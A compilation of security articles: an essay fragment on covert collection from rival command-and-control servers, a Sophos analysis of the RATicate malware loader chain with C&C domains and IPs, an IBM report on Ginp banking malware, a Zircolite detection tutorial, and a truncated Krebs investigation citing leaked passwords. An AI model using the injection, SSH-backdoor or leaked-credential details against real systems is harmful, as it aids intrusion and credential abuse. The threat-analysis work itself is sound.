of its access. Active collection requires a heavier hand but may be the only recourse when convenient opportunities for passive collection have not presented themselves. An alternative compelling rationale states that active collection is likely to yield greater returns for the overly-capable opportunistic attacker interested in greater cyber situational awareness. Active collection involves CNE on systems that form part of the target campaign’s command-and-control infrastructure. The idea is for Agency-A to break into one or more of Agency-B’s command-and-control servers, or better yet a backend-collection node. Though access with stolen credentials may suffice on a temporary basis, a disciplined attacker is more likely to opt for a more regimented and reliable form of access. An attacker might consider backdooring a key program on the server, like SSH, thus enabling persistent access without arousing suspicion. ### Conclusion – An Uncertain Future for Threat Intel The more cautious Twitter talking heads rightly urge us to mince words – separating ‘intrusions’ from ‘attacks’, and ‘espionage’ from ‘warfare’. While we agree with this cautious stance, the newfound military language of ‘cyberwarfare’ does shed some light on the utilitarian characteristics of ‘cyber-as-a-domain’ as perceived by the relevant nation-state stakeholders. Major General Amos Yadlin characterizes this domain as having ‘unlimited range, very high speed, and [...] a very low signature’. While unlimited range and speed make cyber operations infinitely desirable to rugged military folks familiar with the true cost of conventional warfare, the final characteristic should make this domain precarious, capricious, and terrifying in its own right.
# RATicate: An Attacker’s Waves of Information-Stealing Malware **Markel Picado** **May 14, 2020** In a series of malspam campaigns dating back to November of 2019, an unidentified group sent out waves of installers that drop remote administration tool (RAT) and information stealing malware on victims’ computers. We’ve identified five separate campaigns between November 2019 and January 2020 in which the payloads used similar packing code and pointed to the same command and control (C&C) infrastructure. The campaigns targeted industrial companies in Europe, the Middle East, and the Republic of Korea. This leads us to believe that they are all the work of the same actors—a group we’ve dubbed RATicate. A new campaign we believe connected to the same actors leverages concern about the global COVID-19 pandemic to convince victims to open the payloads. This is a shift in tactics, but we suspect that this group constantly changes the way they deploy malware—and that the group has conducted campaigns prior to this past November. In this post, we’ll focus on the initial wave of campaigns, which all used Nullsoft Scriptable Install System (NSIS) installers. NSIS is an open source tool for creating Windows installers, designed for Internet-based software distribution. But it has also been abused for a long time to disguise and deploy malware. (We’ll discuss newer campaigns using other installers, and the group’s shift in phishing tactics, in an upcoming follow-up report.) ## Plugged in for Malware One of the interesting features of NSIS installers is their plug-in architecture, which allows installers to communicate with other software components—including components of the Windows operating system. These plug-ins are deployed as Windows DLL files. If selected during the installer build, they will be automatically added to the final compiled NSIS installer’s packaged files inside the “$PLUGINS” folder. Some of the capabilities these plugins can provide include: The installers we looked at caught our attention because they all drop the same set of “junk files” (files that are never used by the installed malware) across the initial sample set. We’ve seen the tactic of packing NSIS installers with garbage files to conceal malware in the past; the junk files are intended to confuse analysts and create “noise” during sandbox analysis. So this behavior caught our attention, and we started to analyze it in more detail. We found that all the samples use the System.dll plugin, which allows you to load a DLL and call its exported functions. The DLL called by these malicious installers injects a payload into memory (in most cases by using cmd.exe). For purposes of illustration, this report focuses primarily on the analysis of one sample NSIS installer from the first group we discovered: The output of the Exeinfo PE tool identifies the sample as an NSIS installer. NSIS installers contain compressed components, including executable code, which can be loaded into memory by the installers. These components can be extracted using file decompression tools, such as 7zip. The files dropped by this sample included the following types: - ASCII text - C source files, in ASCII text - Data - Executable and Linkable Format (ELF) 64-bit - GIF image data - JPEG image data - PC bitmap, Windows 3.x format, 164 x 314 x 4 - PE32 executable (DLL) - PE32 executable (GUI) - POSIX shell script, ASCII text executable - Python 3.6 byte-compiled - XML 1.0 document The installer drops the junk files into the `%TEMP%/careers/katalog/_mem_bin/page1/W3SVC2` folder. There are only two components dropped by the installer that are important to the malware installation, which are dropped into the `$TEMP` folder. In the case of the NSIS installer we analyzed for this report, these two components are: - aventailes.dll (the Initial Loader) - Cluck (Encrypted data) The payloads of the installers we examined vary. During analysis of the samples we collected—conducted both manually and with the aid of sandboxing tools—we found several different families of RATs and infostealers. These included Lokibot, Betabot, Formbook, and AgentTesla. But all of them followed the same multi-stage unpacking process when executed. ### First Stage: Initial Loader and Shellcode In the first stage, the installer deploys the initial loader, a malicious DLL. The DLL is then used to begin decryption of the malicious payload, and then finally to inject the malicious payload into memory while the NSIS layer drops the junk files. The following images show how the analyzed sample creates a cmd.exe process, which is used to inject the Final Payload. The malicious DLL deployed with the RATicate installers (in this case, aventailes.dll) is a custom loader, likely developed by the threat actor, stored in the `$TEMP` folder of the file package. All of the analyzed initial loaders are DLL files with only one export, though the name of the loader and the export function vary across the samples. In this case, the export was named Inquilinity. This export is called using the NSIS System plugin as explained previously. The export loads and executes a shellcode, located in the initial loader’s .rdata section. The shellcode is initially encrypted using a basic arithmetic operation. This operation varies across the initial loaders we analyzed. The shellcode dropped by the initial loader then reads the Encrypted data (Cluck file) where other loaders and payloads are stored. These PE files and shellcodes are decrypted on demand during the next two stages of malware deployment. In the first stage of the decryption, done by the shellcode called by the initial loader, contains an xor key, a second shellcode (shellcode 2), and a PE file (Loader 2). The xor key is used to decrypt shellcode2 and Loader 2. Here’s how the workflow of Stage 1 breaks down in depth: 1. NSIS exe file is executed. 2. System.dll plugin loads and calls to Initial Loader (aventailes.dll). 3. The export of Initial Loader decrypts shellcode1 and jumps to it. 4. shellcode1 reads Cluck file which is loaded in a memory buffer. 5. shellcode1 decrypts both shellcode2 and Loader2 and maps shellcode2 then jumps to it. 6. shellcode2 maps Loader2 into memory (Reflective loading). ### Second Stage: Second Shellcode and Loader DLL The second stage of decryption begins when Loader 2 is loaded in memory by shellcode2. Loader 2 reads the Cluck file in order to decrypt more artifacts. The data for this stage is decrypted with a dynamically generated xor key based on the name of the file which contains the encrypted data (which in this case is Cluck). After this xor is applied, there is another xor key (xor_key2) stored in the second part of the file, which is used to decrypt different artifacts like strings, shellcodes, and PE files. ### Third Stage: Injection After the decryption, shellcode3 injects the final payload in a child process. It accomplishes this using cmd.exe with the NtCreateSection + NtMapViewOfSection code injection technique. These are the extracted artifacts during the analysis. | ARTIFACT | HASH | |---------------|----------------------------------------------------------------------| | Loader 2 | c2cdb371d3394ff71918ac2422a84408644fa603f1b45e3fb1a438d-bce9dcad0 | | Final Payload | 46c6fa90acdf651e99620c257ae4e9ed9d1cfcb31fd676dc9b570b-b3f9720ac8 | ### Hints of a Single Actor We found 38 NSIS installer samples in total that shared very similar characteristics: - Identical junk files. Not only their name, but also their content. When generating the installer from NSIS Script, the actor who is packing the payload would have to have all these random files in their possession on their hard drive. - The loader is the same: All the loaders across analyzed NSIS installers are the same, not in terms of their hash value but in terms of their functionality. - All initial loaders have just one export, which is called by the NSIS installer. - The Initial Loader reads from Encrypted Data in order to decrypt a shellcode which loads the Loader 2. - Loader 2 across all samples extracts and decrypts shellcode 3 from Encrypted Data. Shellcode 3, responsible for decrypting the final payload and injecting it into a remote process, is binary-equal between all analyzed samples. However, each NSIS installer we looked at dropped different malware payloads. We considered two possible scenarios: either the malicious NSIS package is a generic packer sold on dark forums; or, the same threat actor is using a custom loader to deploy different payloads in a variety of their attacks. While there are many packers sold in dark forums, we found this scenario unlikely, as one should expect the junk files to change along with the payloads, if different actors were using the same generic packer. So, we continued our investigation with the hypothesis the attacks come from the same actor. Given the evidence we have in hand, we can’t prove that a single actor was responsible for all of them, but we at least knew from the identical packing strategy and artifacts that we could find a way to connect all of them. We performed further analysis in search of a definitive link, turning to the infection chain that delivered them. Based on Sophos telemetry, we found a set of NSIS installers dropping these same junk files as part of an email campaign seen between December 8 and December 13, 2019. In the email attacks we observed, the targets appeared to all be critical infrastructure providers (or businesses related to critical infrastructure). We analyzed the observed attacks using VirusTotal’s graphing feature, gathering open-source information about other victims. The graph above shows the infection chain for some of the analyzed NSIS installers. It reveals two common patterns used to infect a victim. We were able to retrieve some of the emails associated with this campaign from VT. With these emails, we were able to identify some of the installers’ targets. Many of the emails we found in VirusTotal data did not show recipients’ addresses, or the “To” address was filled with the same email address that appeared in the “From” field. In these cases, we analyzed the email headers—since the headers hold more information related to the email, like the original recipients. During the analysis of the NSIS installers we found with identical junk files to our initial sample, we identified at least 5 different malware families used as final payload—all of them InfoStealer or RAT malware: - ForeIT/Lokibot - BetaBot - Formbook - AgentTesla - Netwire We then looked at the Command and Control (C&C) infrastructure used for these payloads, to check for any relationship between them and to see if the C&Cs were used to send the stolen data points to same or similar servers. ### Identifying More Campaigns Following this pattern—looking for other groups of NSIS installers which drop identical junk files during the same range of dates—we were able to identify 5 distinct NSIS campaigns that took place between November 16, 2019 and January 8, 2020. While the junk files for each of these campaigns were different from our first samples, their behavior was identical (or at least similar) to those observed in Campaign 3. | NAME | DATES | |-------------|---------------------------| | Campaign 1 | 2019-11-16/2019-11-20 | | Campaign 2 | 2019-11-25/2019-11-26 | | Campaign 3 | 2019-12-08/2019-12-13 | | Campaign 4 | 2019-12-20/2019-12-31 | | Campaign 5 | 2020-01-03/2020-01-08 | ### Campaign 1 (November 16-20, 2019) These are the dropped junk files for all NSIS installers that belong to Campaign 1: These are some of the payloads identified for Campaign 1 on a first triage of the installers. | TYPE | OBSERVED PAYLOADS | OBSERVED PAYLOAD C&C DOMAINS | |---------------|------------------------------------|------------------------------------| | Info Stealer | Betabot | negrodesigns.ga | | Info Stealer | Lokibot | gelcursot.top | | Info Stealer | Formbook | cbespania.info/c206 | | RAT | Netwire | 79.134.225.11:1199 | ### Campaign 2 (November 25-26, 2019) These are the dropped junk files for all NSIS installers that belong to Campaign 2: Some of the payloads identified for Campaign 2 on a first triage included the following: | TYPE | OBSERVED PAYLOADS | OBSERVED PAYLOADS C&C DOMAINS | |---------------|------------------------------------|------------------------------------| | Info Stealer | Betabot | negrodesigns.ga | | Info Stealer | Formbook | czxpkj.com/c206 | | RAT | Bladabindi | tucson1989.duckdns.org | | RAT | Blackrat | 79.134.225.97:1982 | | RAT | Remcos | cashout2018.ddns.de | ### Campaign 4 (December 20-31, 2019) These are the dropped junk files for all NSIS installers that belong to Campaign 4: Some of the payloads observed associated with Campaign 4 included: | TYPE | OBSERVED PAYLOADS | OBSERVED PAYLOADS C&C DOMAINS | |---------------|------------------------------------|------------------------------------| | Info Stealer | Betabot | pitchstak.ga | | Info Stealer | Lokibot | pitchstak.ga | | Info Stealer | Formbook | slashoff.com/c208 | | RAT | Netwire | 79.134.225.97:2556 | | RAT | AgentTesla | mail.newmedicacare.com | ### Campaign 5 (January 3-8, 2020) These are the dropped junk files for all NSIS installers that belong to Campaign 5: Some of the payloads of Campaign 5: | TYPE | OBSERVED PAYLOADS | OBSERVED PAYLOADS C&C DOMAINS | |---------------|------------------------------------|------------------------------------| | Info Stealer | Betabot | pitchstak.ga | | Info Stealer | Lokibot | pitchstak.ga | | Info Stealer | Formbook | binzom.com/c208 | | RAT | Netwire | 79.134.225.97:2556 | | RAT | AgentTesla | mail.arkazo.com | ### Profiling the Threat Actor Looking across all the campaigns we discovered during this analysis, we saw frequent duplications in C&C infrastructure. | CAMPAIGN | DATES | TYPE | PAYLOADS | C&C DOMAINS | |----------|---------------------------|--------------|------------------|----------------------------------| | 1 | 2019-11-16/2019-11-20 | Info Stealer | Betabot | negrodesigns.ga | | | | | Lokibot | gelcursot.top | | | | | Formbook | cbespania.info/c206 | | | | RAT | Netwire | 79.134.225.11:1199 | | 2 | 2019-11-25/2019-11-26 | Info Stealer | Betabot | negrodesigns.ga | | | | | Formbook | czxpkj.com/c206 | | | | RAT | Bladabindi | tucson1989.duckdns.org | | | | | Blackrat | 79.134.225.97:1982 | | | | | Remcos | cashout2018.ddns.de | | 3 | 2019-12-08/2019-12-13 | Info Stealer | Betabot | stngpetty.ga | | | | | Formbook | ef-oh.com/c208 | | | | | Lokibot | gelcursot.top | | | | RAT | Netwire | 79.134.225.97:2556 | | | | | AgentTesla | mail.newmedicacare.com | | 4 | 2019-12-20/2019-12-31 | Info Stealer | Betabot | pitchstak.ga | | | | | Lokibot | pitchstak.ga | | | | | Formbook | slashoff.com/c208 | | | | RAT | Netwire | 79.134.225.97:2556 | | | | | AgentTesla | mail.newmedicacare.com | | 5 | 2020-01-03/2020-01-08 | Info Stealer | Betabot | pitchstak.ga | | | | | Lokibot | pitchstak.ga | | | | | Formbook | binzom.com/c208 | | | | RAT | Netwire | 79.134.225.97:2556 | | | | | AgentTesla | mail.arkazo.com | We also found that some of the different payloads from each campaign (mostly Betabot, Lokibot, AgentTesla, and Formbook) shared the same C&C. This suggests that the same actor/group was managing the web panels behind these malware campaigns. There was also a distinct clustering of the campaign timelines—there was never any overlap between them, suggesting that they were operated serially by the same threat actors (including a sixth campaign we observed, to be covered in our next report). These campaigns didn’t just share command and control infrastructure across different payloads within the same campaign. Some of the infrastructure was also shared across multiple campaigns, which also suggests the same actor was involved across all of them. ### Targeting and Motivation Based on the payloads used by RATicate, it’s clear that the campaigns run by the group are intended to gain access to and control of computers on the targeted companies’ networks. The targets identified from the collected emails sent by these campaigns include: - An electrical equipment manufacturer in Romania - A Kuwaiti construction services and engineering company - A Korean internet company - A Korean investment firm - A British building supply manufacturer - A Korean medical news publication - A Korean telecommunications and electrical cable manufacturer - A Swiss publishing equipment manufacturer - A Japanese courier and transportation company We know that the targets overlapped on at least two campaigns: Campaign 1 and 2 both targeted the electrical equipment manufacturer. There are likely more targets that were common across multiple campaigns. Many (but not all) of the companies that have been targeted are related to critical infrastructure. We’ve detected one more recent campaign using these NSIS installers (from January 13-16). However, as we’ve continued to research this actor group, we’ve been studying other campaigns that we believe are being run by the same actor—and we believe that since January, the actor has moved to using other loaders and packers. One of those campaigns is an email campaign we detected in March that uses the COVID-19 global pandemic as a lure to get victims to open the payload. The most recent detected samples are delivered with a variety of Visual Basic loaders—including the Guloader malware dropper discovered by Proofpoint in December 2019. We believe these campaigns are run by the same actor for a number of reasons: - The email targets the same companies seen in previous campaigns. - Some of the detected payloads are Betabot and Lokibot, families observed in previous campaigns. - This Betabot’s C&C are similar to observed in these previous campaigns—it uses the same domain as Campaign 3 for Betabot (stngpetty[.]ga) and uses a similar path (/~zadmin/{NAME1}/{NAME2}/logout.php). Based on their behavior, we’re unsure of whether the RATicate group is focused on corporate espionage or is simply acting as a malware-as-a-service provider to other actors. It could simply be that they are dropping malware on targeted companies in order to provide paid access to others, or are using InfoStealer and RAT malware as part of a larger malware distribution effort. We continue to analyze the new attacks and hope to get deeper insight into their motivations. ### Anti-Sandboxing by Dumb Luck During our analysis of the first RATicate sample, we discovered that the Shellcode3 dropped by the installer uses a number of interesting techniques to make it difficult to analyze API calls, as well as a number of anti-debugging tricks to further hinder analysis. But we also found a strange behavior in these samples: if the sample is executed with its SHA256 hash as its filename, the program will crash. This sort of behavior might be seen as an anti-analysis trick. Since sandboxes usually run the samples with their hash as a filename, this technique could avoid the execution of the payload in sandbox environments. But in this case, the behavior is actually because of a bug in the code. The error occurs during the execution of shellcode 3. Shellcode3 uses a known technique to get the address of loaded modules (such as libraries and the executable’s image itself) by searching against the LDR_DATA_TABLE_ENTRY data structure within the Windows operating system’s Process Environment Block (PEB). The LDR structure contains information that includes the names and addresses of loaded modules. The shell code checks this structure against hashes of the desired function names, providing a silent way to dynamically resolve the memory address of a function to be called. This feature is implemented in the code’s get_dll_base_addres_from_ldr_by_hash(dll_hash) function, which is where the crash happens. The function walks through the LDR data structure, hashing the names of loaded modules in order to try to match the hash passed as an argument. The function puts the contents of ldr_data_table->BaseDllName.Buffer into vulnerable_buffer in order to convert the ANSI string to a UNICODE string. But since the size of the vulnerable_buffer string is 104 and it’s storing a Unicode string, which means its size limit is really just 52 ANSI characters. The consequences of that are if the filename has a length of 53 or more characters, a buffer overflow will occur. To make the program crash, you simply need to give the sample a 57-character-long filename (such as “this_is_57_length_filename_in_order_to_do_a_crash_PoC.exe”). Once analyzed, we determined this was a programming error, rather than an anti-sandbox technique. ### Indicators of Compromise (IOCs) Hashes for the files associated with the RATicate campaigns can be found on SophosLabs’ GitHub.
# Ginp Malware Operations are on the Rise, Aiming to Expand in Turkey The Ginp mobile banking malware, which emerged in late 2019, is one of the top most prevalent Android banking malware families today. It started as an SMS stealer and rapidly evolved into one of the most advanced actors in the financial fraud landscape. Ginp has primarily targeted Spanish banks, but recent evidence suggests the malware has changed or may change its targeting strategy in the near future to focus on Turkey. The following chart shows infection rates for different Android malware families from the last 90 days and demonstrates that Ginp accounts for nearly 12% of infections during this time. ## Ginp Expands Targeting to Turkey A few weeks ago, IBM’s Trusteer team found evidence that Ginp malware developers intend to broaden their target set to customers of Turkish banks, after targeting Spanish banking customers and customers in Poland and the United Kingdom. Specifically, our team discovered new Ginp overlay pages intended for overlay attacks on mobile devices residing on the malware’s command-and-control (C&C) servers. These overlay pages are spoofs of legitimate banking pages, meant to deceive mobile device users into sharing confidential banking and other information. Several of these fake overlays mimic banks in Turkey, suggesting that malware operators intend to use these pages in future campaigns to target customers of Turkish banks. These fake overlays have not previously been noted in the security community. Ginp’s new targeting strategy echoes other mobile banking malware families, which have also expanded target sets to include Turkish banking customers. Cybercriminals appear to be finding this geographical region fruitful for cyber operations. Some observers have attributed this to obsolete systems and widespread poor security management. It is also possible that cybercriminals developing these overlays have recently made several options targeting Turkish banks available on the dark web, which have become a popular commodity in those forums, including for Ginp operators. Despite Ginp’s expansion to Turkey, we assess the group will continue to target Spanish banking customers, as well, based on recent overlay screens our team found on the malware’s C&C server aimed at Spanish banks. The malware no longer appears to target Poland or the UK, but that targeting strategy may change at any time. ## How Ginp’s Overlay Attack Works in Practice Our team has studied how Ginp operators deploy the fake overlay pages to victims’ mobile devices. When Ginp starts running, it first obtains information from the victim’s device, such as the state of the device and the currently installed applications, and sends it to the server. Based on this information, the server will then decide how to proceed—usually discovering which banking application the victim uses, and then initiating an attack. In most cases, the malware will prompt the victim to click on his or her banking application and then pop a fake overlay onto the screen. In some cases, the malware operators will spy on the target before deciding the best avenue of attack to bypass security countermeasures. Ginp’s C&C server can send an array of commands to the malware. These commands can be sent manually by an operator or automatically in response to information obtained by the malware. ### It Starts With Social Engineering One of the recent features added to Ginp is the ability to make it appear as if a legitimate SMS message is being received on a device. The server sends a command called “INSERT_SMS,” which triggers the malware to effectively mimic the process of receiving a new SMS message. The messages reference documents that need to be signed or suspicious activity on a banking account—among other ploys—in an attempt to invoke a sense of urgency and persuade the victim to open his or her mobile banking application. An additional technique the malware uses is generating fake push notifications. The server can send a “PUSH_NOTIFY” command to generate a fake “push” notification and make it appear as if it’s coming from the banking app. ### Activate the Overlay In general, as soon as the victim uses his or her banking app, this activity is logged and sent to the C&C server. If the banking app is targeted by Ginp, the server will respond with a command of “START_INJ” for the malware to start the overlay attack. This command will trigger the malware to open a WebView on top of the screen and fetch the overlay attack pages. However, Ginp also provides attackers with the flexibility to initiate an overlay attack at any time without relying on the user. For example, an attacker can trigger the overlay as soon as the user sees the fake SMS message or push notification. ## Evolving New Features The Ginp malware continues to evolve rapidly, with developers frequently releasing new features. Several of these features are worth mentioning. ### Fake SMS Push Notifications This new feature was added December 2019. It is used for faking an incoming SMS message or push notification from the victim’s bank. These techniques allow the attacker to employ social engineering before initiating an overlay attack and help decrease suspicion from a victim. ### Notifications Listener (Blocker) Service A few months ago, Ginp developers introduced a new feature that allows the malware to block all push notifications from legitimate applications. This is particularly helpful to attackers, as it can block notifications about the fraudulent transaction taking place, thus avoiding arousing suspicion from the victim. Additionally, the content of the blocked notification is sent to the C&C server, allowing malware operators to steal second-factor authentication codes or collect social media and instant messaging notifications to spy on the target. ### RAT Capabilities Similar to other banking malware, Ginp operators started implementing Remote Access Trojan (RAT) capabilities around March 2020, which allow them to spy on the victim in real time. This feature allows attackers to exfiltrate valuable information that can enable them to circumvent security controls. More carefully, they can tailor an attack on a victim to increase their chances for success. The RAT also allows malware operators to take control of and conduct transactions from the victim’s device, reducing the risk of being detected by security countermeasures. ### Injections Locker Ginp’s newest feature is the injections locker. This feature was introduced just in the past few weeks and is activated by the “START_LOCK” command. It allows attackers to use an aggressive version of an overlay attack. These overlay pages are similar to the regular ones, but persist on the screen and keep reappearing. This feature blocks the victim from using his or her phone, even after entering their credentials, until their device is released by the malware operator. This feature creates advantages for the attacker by persuading a victim to enter and reveal credentials to unlock the phone, and preventing a victim from accessing a legitimate banking application, which may have security countermeasures. --- Pavel Asinovsky Malware Researcher Pavel is a malware researcher for IBM Security's Trusteer's group. He has been a member of the Trusteer cybercrime labs for more than two years.
# Zircolite vs Defense Evasion & Nobellium FoggyWeb I’m pleased to be back sharing outstanding tools for security practitioners with you after an extended time out to finish my Ph.D. Here now, in our 145th installment of toolsmith, we discuss Zircolite, a standalone and fast SIGMA-based detection tool for EVTX or JSON, a fine tool brought to us courtesy of @waggabat. Zircolite’s GitHub repo tells you absolutely everything you need to know, and the documentation is more than adequate, so I’ll repeat only this: - Zircolite is a standalone tool written in Python 3 allowing to use SIGMA rules on Windows event logs. - Zircolite can be used directly on the investigated endpoint or in your favorite forensic/detection lab. - Zircolite is fast and can parse large datasets in just seconds. - Zircolite can handle EVTX files and JSON files as long as they are in JSONL/NDJSON format. - Zircolite can be used directly in Python or you can use the binaries provided in releases. As you install Zircolite via a git clone to your preferred path, install the additional requirements via `pip install -r requirements.txt`. Running Zircolite is as easy as `python zircolite.py --evtx logs --ruleset rules/rules_windows_generic.json`. The rulesets provided are a set of SIGMA-based generic Windows rules and Sysmon rules. We owe Florian Roth and many others thanks for SIGMA, a true SOC workhorse. I’m particularly fond of actions we defenders can take to detect defense evasion. As such, our first test scenario is oriented accordingly. I created a logs directory in my Zircolite path and copied 16 defense evasion-specific EVTX log samples from Samir’s killer Windows EVTX Samples repo. Love this resource! Thereafter, a quick run of Zircolite using the Sysmon rules provided immediate findings (two seconds). Oh, wait. You’re not running Sysmon everywhere possible? Tsk, tsk. Download Sysmon, and use SwiftOnSecurity’s rocking good config file template with default high-quality event tracing. Thanks as always to Mark and Thomas for the indispensable masterpiece that is Sysmon. Zircolite findings are written out to `detected_events.json` in the Zircolite parent directory. Honing in on more specific adversarial actions per current events, first review the excellent deep dive analysis from Ramin, FoggyWeb: Targeted NOBELIUM malware leads to persistent backdoor. Herein, we learn about the latest NOBELIUM malware, a post-exploitation backdoor that Microsoft Threat Intelligence Center (MSTIC) refers to as FoggyWeb: “FoggyWeb is a passive and highly targeted backdoor capable of remotely exfiltrating sensitive information from a compromised AD FS server. It can also receive additional malicious components from a command-and-control (C2) server and execute them on the compromised server.” After compromising an AD FS server, NOBELIUM was observed dropping the following two files on the system: - `%WinDir%\ADFS\version.dll` - `%WinDir%\SystemResources\Windows.Data.TimeZones\pris\Windows.Data.TimeZones.zh-PH.pri` This initial file drop struck me and others as a simple rule construct, I crafted a simple rule for use with Zircolite, resembling Florian’s, as a result. To trigger the rule I simply created a small placeholder file with Textpad running with admin privileges and saved it to `C:\windows\ADFS`. This is not an actual image load event in the same sense as detected in Florian’s rule, just detection of the file creation in that path as captured by a Sysmon Event 11. As I did, you can stick this JSON file in your rules directory or simply add it to the `rules_windows_sysmon.json` file. I left it standalone and ran `python zircolite.py --evtx logs --ruleset rules/rules_windows_nobellium_filedrop.json`. We have a hit. As you can see, Zircolite can be adapted to almost any Windows-centric detection scenario as long as the events are written to EVTX. With Sysmon running, Zircolite is an absolute no-brainer. But wait! You need a GUI? No problem. Unzip the contents of `zircogui.zip` found in the gui directory. Revisiting our Nobellium FoggyWeb scenario, I ran: `python zircolite.py --evtx logs/sysmon.evtx --ruleset rules/rules_windows_nobellium_filedrop.json --template templates/exportForZircoGui.tmpl --templateOutput gui/data.js`. The result represents a convenient way to hunt about in numerous events per a MITRE ATT&CK category or an alert level. I’m quite glad to be back at the keyboard working useful cybersecurity tooling scenarios with you. Zircolite represented a golden opportunity to do so and couldn’t have coincided more nicely than with the recently released Nobellium FoggyWeb analysis. Great work from @waggabat, I hope they keep it up. Cheers…until next time.
# The Link Between AWM Proxy & the Glupteba Botnet On December 7, 2021, Google announced it was suing two Russian men allegedly responsible for operating the Glupteba botnet, a global malware menace that has infected millions of computers over the past decade. That same day, AWM Proxy — a 14-year-old anonymity service that rents hacked PCs to cybercriminals — suddenly went offline. Security experts had long seen a link between Glupteba and AWM Proxy, but new research shows AWM Proxy’s founder is one of the men being sued by Google. Launched in March 2008, AWM Proxy quickly became the largest service for crooks seeking to route their malicious web traffic through compromised devices. In 2011, researchers at Kaspersky Lab showed that virtually all of the hacked systems for rent at AWM Proxy had been compromised by TDSS (a.k.a TDL-4 and Alureon), a stealthy “rootkit” that installs deep within infected PCs and loads even before the underlying Windows operating system boots up. In March 2011, security researchers at ESET found TDSS was being used to deploy Glupteba, another rootkit that steals passwords and other access credentials, disables security software, and tries to compromise other devices on the victim’s network — such as Internet routers and media storage servers — for use in relaying spam or other malicious traffic. A report from the Polish computer emergency response team (CERT Orange Polska) found Glupteba was by far the biggest malware threat in 2021. Like its predecessor TDSS, Glupteba is primarily distributed through “pay-per-install” or PPI networks, and via traffic purchased from traffic distribution systems (TDS). Pay-per-install networks try to match cybercriminals who already have access to large numbers of hacked PCs with other crooks seeking broader distribution of their malware. In a typical PPI network, clients will submit their malware—a spambot or password-stealing Trojan, for example—to the service, which in turn charges per thousand successful installations, with the price depending on the requested geographic location of the desired victims. One of the most common ways PPI affiliates generate revenue is by secretly bundling the PPI network’s installer with pirated software titles that are widely available for download via the web or from file-sharing networks. Over the past decade, both Glupteba and AWM Proxy have grown substantially. When KrebsOnSecurity first covered AWM Proxy in 2011, the service was selling access to roughly 24,000 infected PCs scattered across dozens of countries. Ten years later, AWM Proxy was offering 10 times that number of hacked systems on any given day, and Glupteba had grown to more than one million infected devices worldwide. There is also ample evidence to suggest that Glupteba may have spawned Meris, a massive botnet of hacked Internet of Things (IoT) devices that surfaced in September 2021 and was responsible for some of the largest and most disruptive distributed denial-of-service (DDoS) attacks the Internet has ever seen. But on Dec. 7, 2021, Google announced it had taken technical measures to dismantle the Glupteba botnet and filed a civil lawsuit against two Russian men thought to be responsible for operating the vast crime machine. AWM Proxy’s online storefront disappeared that same day. AWM Proxy quickly alerted its customers that the service had moved to a new domain, with all customer balances, passwords, and purchase histories seamlessly ported over to the new home. However, subsequent takedowns targeting AWM Proxy’s domains and other infrastructure have conspired to keep the service on the ropes and frequently switching domains ever since. Earlier this month, the United States, Germany, the Netherlands, and the U.K. dismantled the “RSOCKS” botnet, a competing proxy service that had been in operation since 2014. KrebsOnSecurity has identified the owner of RSOCKS as a 35-year-old from Omsk, Russia who runs the world’s largest forum catering to spammers. Shortly after last week’s story on the RSOCKS founder, I heard from Riley Kilmer, co-founder of Spur.us, a startup that tracks criminal proxy services. Kilmer said RSOCKS was similarly disabled after Google’s combined legal sneak attack and technical takedown targeting Glupteba. “The RSOCKS website gave you the estimated number of proxies in each of their subscription packages, and that number went down to zero on Dec. 7,” Kilmer said. “It’s not clear if that means the services were operated by the same people, or if they were just using the same sources (i.e., PPI programs) to generate new installations of their malware.” Kilmer said each time his company tried to determine how many systems RSOCKS had for sale, they found each Internet address being sold by RSOCKS was also present in AWM Proxy’s network. In addition, Kilmer said, the application programming interfaces (APIs) used by both services to keep track of infected systems were virtually identical, once again suggesting strong collaboration. “One hundred percent of the IPs we got back from RSOCKS we’d already identified in AWM,” Kilmer said. “And the IP port combinations they give you when you access an individual IP were the same as from AWM.” In 2011, KrebsOnSecurity published an investigation that identified one of the founders of AWM Proxy, but Kilmer’s revelation prompted me to take a fresh look at the origins of this sprawling cybercriminal enterprise to determine if there were additional clues showing more concrete links between RSOCKS, AWM Proxy, and Glupteba. Supporting Kilmer’s theory that AWM Proxy and RSOCKS may simply be using the same PPI networks to spread, further research shows the RSOCKS owner also had an ownership stake in AD1.ru, an extremely popular Russian-language pay-per-install network that has been in operation for at least a decade. Google took aim at Glupteba in part because its owners were using the botnet to divert and steal vast sums in online advertising revenue. So it’s more than a little ironic that the critical piece of evidence linking all of these operations begins with a Google Analytics code included in the HTML code for the original AWM Proxy back in 2008 (UA-3816536). That analytics code also was present on a handful of other sites over the years, including the now-defunct Russian domain name registrar Domenadom.ru, and the website web-site.ru, which curiously was a Russian company operating a global real estate appraisal business called American Appraisal. Two other domains connected to that Google Analytics code — Russian plastics manufacturers techplast.ru and tekhplast.ru — also shared a different Google Analytics code (UA-1838317) with web-site.ru and with the domain “starovikov.ru.” The name on the WHOIS registration records for the plastics domains is an “Alexander I. Ukraincki,” whose personal information also is included in the domains tpos.ru and alphadisplay.ru, both apparently manufacturers of point-of-sale payment terminals in Russia. Constella Intelligence, a security firm that indexes passwords and other personal information exposed in past data breaches, revealed dozens of variations on email addresses used by Alexander I. Ukraincki over the years. Most of those email addresses start with some variation of “uai@” followed by a domain from one of the many Russian email providers (e.g., yandex.ru, mail.ru). But Constella also shows those different email addresses all relied on a handful of passwords — most commonly “2222den” and “2222DEN.” Both of those passwords have been used almost exclusively in the past decade by the person who registered more than a dozen email addresses with the username “dennstr.” The dennstr identity leads to several variations on the same name — Denis Strelinikov, or Denis Stranatka, from Ukraine, but those clues ultimately led nowhere promising. And maybe that was the point. Things began looking brighter after I ran a search in DomainTools for web-site.ru’s original WHOIS records, which shows it was assigned in 2005 to a “private person” who used the email address [email protected]. A search in Constella on that email address says it was used to register nearly two dozen domains, including starovikov.ru and starovikov.com. A cached copy of the contact page for Starovikov.com shows that in 2008 it displayed the personal information for a Dmitry Starovikov, who listed his Skype username as “lycefer.” Finally, Russian incorporation documents show the company LLC Website (web-site.ru) was registered in 2005 to two men, one of whom was named Dmitry Sergeevich Starovikov. Bringing this full circle, Google says Starovikov is one of the two operators of the Glupteba botnet. Mr. Starovikov did not respond to requests for comment. But attorneys for Starovikov and his co-defendant last month filed a response to Google’s complaint in the Southern District of New York, denying their clients had any knowledge of the scheme. Despite all of the disruption caused by Google’s legal and technical meddling, AWM is still around and nearly as healthy as ever, although the service has been branded with a new name and there are dubious claims of new owners. Advertising customer plans ranging from $50 a day to nearly $700 for “VIP access,” AWM Proxy says its malware has been running on approximately 175,000 systems worldwide over the last 24 hours, and that roughly 65,000 of these systems are currently online. Meanwhile, the administrators of RSOCKS recently alerted customers 